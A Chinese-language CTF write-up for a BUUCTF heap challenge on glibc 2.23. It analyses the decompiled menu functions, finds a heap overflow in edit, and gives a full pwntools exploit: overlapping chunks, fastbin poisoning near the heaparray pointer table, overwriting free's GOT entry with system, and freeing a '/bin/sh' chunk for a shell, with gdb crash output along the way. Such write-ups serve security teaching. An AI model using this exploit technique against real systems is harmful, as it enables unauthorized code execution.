这一题的预期解因为buu的docker环境问题无法实现 这里使用的是通过覆盖free_got表为system来系统调用
分析一下程序
[*] '/home/chen/pwn' Arch: amd64-64-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: No PIE (0x400000)
|
没有开启FULL RELRO 意味着可以覆写got表
ida继续跟进 main函数很常规 这里重点关注一下add free edit这三个函数
unsigned __int64 create_heap() { int i; size_t size; char buf[8]; unsigned __int64 v4;
v4 = __readfsqword(0x28u); for ( i = 0; i <= 9; ++i ) { if ( !*(&heaparray + i) ) { printf("Size of Heap : "); read(0, buf, 8uLL); size = atoi(buf); *(&heaparray + i) = malloc(size); if ( !*(&heaparray + i) ) { puts("Allocate Error"); exit(2); } printf("Content of heap:"); read_input(*(&heaparray + i), size); puts("SuccessFul"); return __readfsqword(0x28u) ^ v4; } } return __readfsqword(0x28u) ^ v4; }
|
申请的堆块存储到了bss段上的heaparray数组里面 同时每个指针占据8个字节
unsigned __int64 edit_heap() { int v1; __int64 v2; char buf[8]; unsigned __int64 v4;
v4 = __readfsqword(0x28u); printf("Index :"); read(0, buf, 4uLL); v1 = atoi(buf); if ( v1 < 0 || v1 > 9 ) { puts("Out of bound!"); _exit(0); } if ( *(&heaparray + v1) ) { printf("Size of Heap : "); read(0, buf, 8uLL); v2 = atoi(buf); printf("Content of heap : "); read_input(*(&heaparray + v1), v2); puts("Done !"); } else { puts("No such heap !"); } return __readfsqword(0x28u) ^ v4; }
|
提供了堆溢出的机会 可以供我们修改size域来合并chunk
unsigned __int64 delete_heap() { int v1; char buf[8]; unsigned __int64 v3;
v3 = __readfsqword(0x28u); printf("Index :"); read(0, buf, 4uLL); v1 = atoi(buf); if ( v1 < 0 || v1 > 9 ) { puts("Out of bound!"); _exit(0); } if ( *(&heaparray + v1) ) { free(*(&heaparray + v1)); *(&heaparray + v1) = 0LL; puts("Done !"); } else { puts("No such heap !"); } return __readfsqword(0x28u) ^ v3; }
|
free后把指针清零了 没有办法uaf
了解完程序主体后 结合一下版本为ubuntu16 没有tcache 并且还有堆溢出 可以合并堆块 从而获得两个指向同一空间的chunk 这样就可以修改fastbinchunk的fd域 获得任意地址写的机会
接着再来关注一下这个heaparray 我们看完了代码后 可以得知 edit函数 是修改heaparray所指向的地址的内容
那如果我们利用上文提到的任意写的漏洞 将heaparray的其中一个指针修改为free_got 那么不就可以修改got表 成功进行系统调用了
不过fastbin attack需要注意的是 glibc对其取出bin时有检查机制 我们的fakechunk的地址需要合理构造 才能成功取出
from pwn import*
io = remote("node4.buuoj.cn",29611) context.log_level = "debug" elf = ELF("./pwn")
def add(size,payload): io.recvuntil("Your choice :") io.sendline(b"1") io.recvuntil("Size of Heap : ") io.sendline(str(size)) io.recvuntil("Content of heap:") io.sendline(payload) io.recvuntil("SuccessFul")
def edit(index,size,payload): io.recvuntil("Your choice :") io.sendline(b"2") io.recvuntil("Index :") io.sendline(str(index)) io.recvuntil("Size of Heap : ") io.sendline(str(size)) io.recvuntil("Content of heap : ") io.sendline(payload) io.recvuntil("Done !")
def delete(index): io.recvuntil("Your choice :") io.sendline(b"3") io.recvuntil("Index :") io.sendline(str(index)) io.recvuntil("Done !")
free_got = elf.got['free'] system_addr = 0x400700 heaparray_addr = 0x6020E0 add(0x18,b"1") add(0x68,b"1") add(0x68,b"1") add(0x20,b"1") payload = cyclic(0x18)+p16(0xe1) edit(0,len(payload),payload) delete(1) add(0x68,b"1") add(0x68,b"1") delete(2) payload = p64(heaparray_addr-51) edit(4,len(payload),payload)
|
这部分代码的思路 我前面几题堆wp也有涉及 老办法了 不懂具体流程的可以翻看以往wp
重点在于最后我们要任意写的地方 位于heaparray-51的地方 这是为什么? 我们gdb动调看看
如果不-51的话 此时我们想要伪造的chunk的size域值为878030 不符合glibc的检查机制 如果想要申请出来时 程序就会强行终止
[DEBUG] Received 0x9b3 bytes: b"*** Error in `./pwn': malloc(): memory corruption (fast): 0x00000000006020f0 ***\n" b'======= Backtrace: =========\n' b'/lib/x86_64-linux-gnu/libc.so.6(+0x777f5)[0x7f93309967f5]\n' b'/lib/x86_64-linux-gnu/libc.so.6(+0x82679)[0x7f93309a1679]\n' b'/lib/x86_64-linux-gnu/libc.so.6(__libc_malloc+0x54)[0x7f93309a31d4]\n' b'./pwn[0x4009b5]\n' b'./pwn[0x400ce1]\n' b'/lib/x86_64-linux-gnu/libc.so.6(__libc_start_main+0xf0)[0x7f933093f840]\n' b'./pwn[0x4007b9]\n' b'======= Memory map: ========\n' b'00400000-00402000 r-xp 00000000 08:01 1066204 /home/chen/pwn\n' b'00601000-00602000 r--p 00001000 08:01 1066204 /home/chen/pwn\n' b'00602000-00603000 rw-p 00002000 08:01 1066204 /home/chen/pwn\n' b'02381000-023a2000 rw-p 00000000 00:00 0 [heap]\n' b'7f932c000000-7f932c021000 rw-p 00000000 00:00 0 \n' b'7f932c021000-7f9330000000 ---p 00000000 00:00 0 \n' b'7f9330709000-7f933071f000 r-xp 00000000 08:01 136633 /lib/x86_64-linux-gnu/libgcc_s.so.1\n' b'7f933071f000-7f933091e000 ---p 00016000 08:01 136633 /lib/x86_64-linux-gnu/libgcc_s.so.1\n' b'7f933091e000-7f933091f000 rw-p 00015000 08:01 136633 /lib/x86_64-linux-gnu/libgcc_s.so.1\n' b'7f933091f000-7f9330adf000 r-xp 00000000 08:01 155906 /lib/x86_64-linux-gnu/libc-2.23.so\n' b'7f9330adf000-7f9330cdf000 ---p 001c0000 08:01 155906 /lib/x86_64-linux-gnu/libc-2.23.so\n' b'7f9330cdf000-7f9330ce3000 r--p 001c0000 08:01 155906 /lib/x86_64-linux-gnu/libc-2.23.so\n' b'7f9330ce3000-7f9330ce5000 rw-p 001c4000 08:01 155906 /lib/x86_64-linux-gnu/libc-2.23.so\n' b'7f9330ce5000-7f9330ce9000 rw-p 00000000 00:00 0 \n' b'7f9330ce9000-7f9330d0f000 r-xp 00000000 08:01 155898 /lib/x86_64-linux-gnu/ld-2.23.so\n' b'7f9330ef4000-7f9330ef7000 rw-p 00000000 00:00 0 \n' b'7f9330f0d000-7f9330f0e000 rw-p 00000000 00:00 0 \n' b'7f9330f0e000-7f9330f0f000 r--p 00025000 08:01 155898 /lib/x86_64-linux-gnu/ld-2.23.so\n' b'7f9330f0f000-7f9330f10000 rw-p 00026000 08:01 155898 /lib/x86_64-linux-gnu/ld-2.23.so\n' b'7f9330f10000-7f9330f11000 rw-p 00000000 00:00 0 \n' b'7ffc6a9c0000-7ffc6a9e1000 rw-p 00000000 00:00 0 [stack]\n' b'7ffc6a9ed000-7ffc6a9f0000 r--p 00000000 00:00 0 [vvar]\n' b'7ffc6a9f0000-7ffc6a9f2000 r-xp 00000000 00:00 0 [vdso]\n' b'ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]\n'
|
于是我们只好利用gdb动调 最后在-51的位置 可以使我们构造的chunk结构通过glibc的检查
add(0x68,b"/bin/sh") add(0x68,b"1") payload = cyclic(51)+p64(free_got) edit(5,len(payload),payload) payload = p64(system_addr) edit(2,len(payload),payload) io.recvuntil("Your choice :") io.sendline(b"3") io.recvuntil("Index :") io.sendline(b"4") io.interactive()
|
随后我们将该chunk申请出来 并且计算一下偏移 将我们想要修改的heaparray覆盖成free_got
这样我们下次想要利用edit函数修改其内容时 就会转化成修改free_got的内容
然后我们释放掉一个内容为/bin/sh的堆块 就相当于执行了system(”/bin/sh”)
但是在这里我遇到了个问题 不能使用我们之前为了方便打包好的函数
因为多接收了个done 但是系统调用后并不会输出done 所以这里会有卡壳